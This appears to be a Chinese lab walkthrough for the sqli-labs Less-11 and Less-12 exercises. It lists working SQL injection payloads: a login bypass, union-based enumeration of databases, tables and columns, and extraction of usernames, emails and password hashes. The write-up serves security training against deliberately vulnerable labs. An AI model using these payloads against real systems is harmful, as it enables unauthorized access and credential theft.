打开Less-11的页面,可以看到一个登录框,需要输入用户名和密码,由本关名字可知SQL语句是单引号闭合。
那么先尝试一下万能密码登录,用户名:admin' #、密码随便填一个:
从上图可以看出登陆成功,并且会回显账号和密码。
先随便尝试一个账号密码,uname=name & passwd=pass
显示登录失败,接着修改post包,加入引号看是否会报错.
可以发现加入引号之后报错了,并且判断出SQL语句的闭合方式是单引号。到此可以发现SQL语句的报错会显示在前端页面。
注入语句:uname=name' order by 1# & passwd=pass
当尝试到uname=name' order by 3# & passwd=pass时,出现了报错,由此可以判断该表只有两列。
注入语句:uname=name' union select 1,2 # & passwd=pass
注入语句:uname=name' union select user(),database() # & passwd=pass
通过上述注入可以得知,当前数据库名为security,当前用户为root,接着找出这个数据库中的所有数据表。
注入语句:uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # & passwd=pass
通过上述注入可以得知当前数据库中存在emails、referers、uagents、users四张数据表。
注入语句:uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # & passwd=pass
通过上述注入可以得知users表中存在三列,分别为id、username、password。
注入语句:uname=name' union select group_concat(username),group_concat(password) from users # & passwd=pass
到此,就得到了当前表中所有的用户名和密码。
通过上面的步骤可以看到当前用户是root用户,那么可以尝试爆其他数据库中的信息。
注入语句:uname=name' union select 1,group_concat(schema_name) from information_schema.schemata # & passwd=pass
通过上述注入可以得知当前服务器中的数据库由:information_schema、bWAPP、challenges、dvwa、mysql、performance_schema、security、test
注入语句:uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema='bWAPP' # & passwd=pass
上图中可以看出在bWAPP库中的表分别是blog,heroes,movies,users,visitors。
注入语句:uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_schema='bWAPP' and table_name='users' # & passwd=pass
可以看到users表中的列名为:id,login,password,email,secret,activation_code,activated,reset_code,admin。
注入语句:uname=name' union select group_concat(email),group_concat(password) from bWAPP.users#&passwd=pass
这样就成功拿到了邮箱和密码,通过查md5可以得到密码为bug。
通过注入uname=name" & passwd=pass发现SQL闭合符号为"),其余操作均与第11关相同。
确定回显位,其余操作不再赘述: